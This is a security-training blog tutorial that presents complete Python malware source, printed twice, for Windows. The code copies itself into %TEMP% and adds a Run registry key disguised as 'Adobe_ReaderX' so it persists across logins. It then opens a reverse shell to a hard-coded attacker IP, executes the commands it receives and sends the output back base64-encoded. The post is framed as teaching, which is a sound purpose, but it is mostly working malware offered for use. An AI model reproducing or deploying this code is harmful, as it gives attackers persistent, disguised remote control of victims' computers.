Python for InfoSec Professionals Part 13: Python Malware

save
Share and earn Cybytes
Facebook Twitter LinkedIn Email

Malware Comp

This tutorial demonstrates some proof of concepts for creating malware using Python and PyInstaller. In a previous tutorial, we demonstrated how to compile a Python script as a Portable Executable(PE) using PyInstaller. Now let’s demonstrate some quick proof of concept code to do some malicious actions on a Windows host.

Coding the Malware:

One of the most common things you’ll find with malware is it wanting to gain persistence on the victim. There are loads of ways to achieve persistence on Windows, one of the more common being, to modify the following registry key: “Software\Microsoft\Windows\CurrentVersion\Run”. Below is a quick screenshot of the Python code to copy the program to the %TEMP% directory and then make a registry modification so this code will execute when a user logs into the computer:

import sys, base64, os, socket, subprocess
from _winreg import *
 
def autorun(tempdir, fileName, run):
# Copy executable to %TEMP%:
    os.system('copy %s %s'%(fileName, tempdir))
 
# Queries Windows registry for key values
# Appends autorun key to runkey array
    key = OpenKey(HKEY_LOCAL_MACHINE, run)
    runkey =[]
    try:
        i = 0
        while True:
            subkey = EnumValue(key, i)
            runkey.append(subkey[0])
            i += 1
    except WindowsError:
        pass
 
# Set autorun key:
    if 'Adobe ReaderX' not in runkey:
        try:
            key= OpenKey(HKEY_LOCAL_MACHINE, run,0,KEY_ALL_ACCESS)
            SetValueEx(key ,'Adobe_ReaderX',0,REG_SZ,r"%TEMP%\mw.exe")
            key.Close()
        except WindowsError:
            pass

Now that we have copied this file over to the %TEMP% directory, and setup persistence we can execute the next portion of the code, the reverse shell. I leveraged a Python reverse shell released by TrustedSec and made one modification — Base64 encode the network traffic:

def shell():
#Base64 encoded reverse shell
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('192.168.56.1', int(443)))
    s.send('[*] Connection Established!')
    while 1:
        data = s.recv(1024)
        if data == "quit": break
        proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
        stdout_value = proc.stdout.read() + proc.stderr.read()
        encoded = base64.b64encode(stdout_value)
        s.send(encoded)
        #s.send(stdout_value)
    s.close()
 
def main():
    tempdir = '%TEMP%'
    fileName = sys.argv[0]
    run = "Software\Microsoft\Windows\CurrentVersion\Run"
    autorun(tempdir, fileName, run)
    shell()
 
if __name__ == "__main__":
        main()

Now when this program executes it will open up a reverse shell back to the “attacker” which in this case is a hard coded IP in the script, but it could easily be domain, or maybe something in the Amazon cloud. Below is a quick screen shot demonstrating the program executing on a Windows host and connecting back to the attacker. You can notice the network traffic is base64 encoded:

malware

Here is the full code:

import sys, base64, os, socket, subprocess
from _winreg import *
 
def autorun(tempdir, fileName, run):
# Copy executable to %TEMP%:
    os.system('copy %s %s'%(fileName, tempdir))
 
# Queries Windows registry for the autorun key value
# Stores the key values in runkey array
    key = OpenKey(HKEY_LOCAL_MACHINE, run)
    runkey =[]
    try:
        i = 0
        while True:
            subkey = EnumValue(key, i)
            runkey.append(subkey[0])
            i += 1
    except WindowsError:
        pass
 
# If the autorun key "Adobe ReaderX" isn't set this will set the key:
    if 'Adobe ReaderX' not in runkey:
        try:
            key= OpenKey(HKEY_LOCAL_MACHINE, run,0,KEY_ALL_ACCESS)
            SetValueEx(key ,'Adobe_ReaderX',0,REG_SZ,r"%TEMP%\mw.exe")
            key.Close()
        except WindowsError:
            pass
 
def shell():
#Base64 encoded reverse shell
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('192.168.56.1', int(443)))
    s.send('[*] Connection Established!')
    while 1:
        data = s.recv(1024)
        if data == "quit": break
        proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
        stdout_value = proc.stdout.read() + proc.stderr.read()
        encoded = base64.b64encode(stdout_value)
        s.send(encoded)
        #s.send(stdout_value)
    s.close()
 
def main():
    tempdir = '%TEMP%'
    fileName = sys.argv[0]
    run = "Software\Microsoft\Windows\CurrentVersion\Run"
    autorun(tempdir, fileName, run)
    shell()
 
if __name__ == "__main__":
        main()

Continue to Python for InfoSec Professionals Use Case 1: CVE-2014-6271►


Interested in learning more about Python for Security Professionals?
Start Cybrary’s FREE Python for Security Professionals Course Today!

pythoncourse

Share this post and earn Cybytes
Facebook Twitter LinkedIn Email
Follow
2192 Followers
About Primal Security
Primal Security is a blog and podcast dedicated to sharing knowledge within the information security community. Learn more about the Primal Security Team.

Our Revolution

We believe Cyber Security training should be free, for everyone, FOREVER. Everyone, everywhere, deserves the OPPORTUNITY to learn, begin and grow a career in this fascinating field. Therefore, Cybrary is a free community where people, companies and training come together to give everyone the ability to collaborate in an open source way that is revolutionizing the cyber security educational experience.

Support Cybrary

Donate Here to Get This Month's Donor Badge

 

We recommend always using caution when following any link

Are you sure you want to continue?

Continue
Cancel